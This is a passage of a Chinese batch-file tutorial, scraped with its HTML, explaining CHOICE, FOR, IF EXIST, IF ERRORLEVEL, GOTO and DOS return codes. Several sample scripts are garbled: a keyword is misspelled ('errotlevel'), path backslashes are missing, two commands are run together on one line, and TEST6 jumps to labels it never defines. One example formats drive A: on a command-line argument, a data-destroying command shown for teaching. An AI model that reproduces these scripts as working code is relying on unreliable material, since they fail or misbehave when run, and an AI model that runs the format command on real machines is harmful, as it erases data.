nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/M　text　指定提示之前要显示的消息。如果没有指定，工具只显示提示。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/?　显示帮助消息。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　注意:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　示例:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CHOICE /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CHOICE /C YNC /M &quot;确认请按 Y，否请按 N，或者取消请按 C。&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CHOICE /T 10 /C ync /CS /D y&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CHOICE /C ab /M &quot;选项 1 请选择 a，选项 2 请选择 b。&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CHOICE /C ab /N /M &quot;选项 1 请选择 a，选项 2 请选择 b。&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果我运行命令：CHOICE /C YNC /M &quot;确认请按 Y，否请按 N，或者取消请按 C。&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　屏幕上会显示：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　确认请按 Y，否请按 N，或者取消请按 C。 &#091;Y,N,C&#093;?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　choice /C dme /M &quot;defrag,mem,end&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　if errorlevel 3 goto end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　if errorlevel 2 goto mem&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　if errotlevel 1 goto defrag&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　:defrag&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　c:dosdefrag&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　goto end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　:mem&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　mem&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　goto end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　:end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo good bye&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　此批处理运行后，将显示“defrag,mem,end&#091;D,M,E&#093;?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　四、for 循环命令，只要条件符合，它将多次执行同一命令。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　语法：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　对一组文件中的每一个文件执行某个特定命令。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　FOR %%variable IN (set) DO command &#091;command-parameters&#093;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%%variable　指定一个单一字母可替换的参数。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(set)　指定一个或一组文件。可以使用通配符。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　command　指定对每个文件执行的命令。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　command-parameters 为特定命令指定参数或命令行开关。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　例如一个批处理文件中有一行:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　for %%c in (*.bat *.txt) do type %%c&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　批处理示例&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1. IF-EXIST&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　首先用记事本在C:建立一个test1.bat批处理文件，文件内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　然后运行它：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST1.BAT&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果C:存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　接着再建立一个test2.bat文件，内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ECHO OFF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF EXIST %1 TYPE %1&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF NOT EXIST %1 ECHO %1 does not exist&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　执行:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST2 AUTOEXEC.BAT BR&gt;　　该命令运行结果同上。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　说明：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(1) IF EXIST 是用来测试文件是否存在的，格式为&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF EXIST &#091;路径+文件名&#093; 命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(2) test2.bat文件中的%1是参数，dos允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &quot;%1&quot; == &quot;A&quot; ECHO XIAO&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &quot;%2&quot; == &quot;B&quot; ECHO TIAN&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &quot;%3&quot; == &quot;C&quot; ECHO XIN&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果运行：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST3 A B C&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　屏幕上会显示:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　XIAO&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　TIAN&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　XIN&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果运行：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST3 A B&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　屏幕上会显示&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　XIAO&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　TIAN&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　在这个命令执行过程中，dos会将一个空字符串指定给参数%3。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2、IF-ERRORLEVEL&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　建立TEST4.BAT，内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ECHO OFF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 0 ECHO 成功拷贝文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　然后执行文件:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST4&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 是用来测试它的上一个dos命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ECHO OFF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　XCOPY C:AUTOEXEC.BAT D:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 0 ECHO 成功拷贝文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 1 ECHO 未找到拷贝文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　无论拷贝是否成功，后面的：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　未找到拷贝文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　用户通过ctrl-c中止拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　预置错误阻止文件拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　拷贝过程中写盘错误&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　都将显示出来。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　以下就是几个常用命令的返回值及其代表的意义：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　backup&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　0 备份成功&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1 未找到备份文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2 文件共享冲突阻止备份完成&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3 用户用ctrl-c中止备份&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4 由于致命的错误使备份操作中止&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　diskcomp&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　0 盘比较相同&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1 盘比较不同&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2 用户通过ctrl-c中止比较操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3 由于致命的错误使比较操作中止&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4 预置错误中止比较&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　diskcopy&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　0 盘拷贝操作成功&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1 非致命盘读/写错&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2 用户通过ctrl-c结束拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3 因致命的处理错误使盘拷贝中止&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4 预置错误阻止拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　format&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　0 格式化成功&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3 用户通过ctrl-c中止格式化处理&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4 因致命的处理错误使格式化中止&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　5 在提示“proceed with format（y/n）?”下用户键入n结束&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　xcopy&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　0 成功拷贝文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1 未找到拷贝文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2 用户通过ctrl-c中止拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4 预置错误阻止文件拷贝操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　5 拷贝过程中写盘错误&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3、IF STRING1 == STRING2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　建立TEST5.BAT，文件内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &quot;%1&quot; == &quot;A&quot; formAT A:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　执行：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST5 A&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　屏幕上就出现是否将A:盘格式化的内容。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如：if &#091;%1&#093;==&#091;A&#093; 或者 if %1*==A*&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　5、GOTO&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　建立TEST6.BAT，文件内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ECHO OFF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF EXIST C:AUTOEXEC.BAT GOTO _COPY&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　GOTO _DONE_COPY&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　COPY C:AUTOEXEC.BAT D:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　:_DONE&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　注意：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(1) 标号前是ASCII字符的冒号&quot;:&quot;，冒号与标号之间不能有空格。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(2) 标号的命名规则与文件名的命名规则相同。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(3) dos支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　6、FOR&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　建立C:TEST7.BAT，文件内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ECHO OFF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　运行：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;TEST7&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　win2000命令行方式批处理BAT文件技巧&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　文章结构&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1. 所有内置命令的帮助信息&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2. 环境变量的概念&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3. 内置的特殊符号(实际使用中间注意避开)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4. 简单批处理文件概念&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　5. 附件1 tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　6. 附件2 sample.bat&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　###########################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1. 所有内置命令的帮助信息&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　###########################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　ver&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　cmd /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　set /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　rem /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　if /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　goto 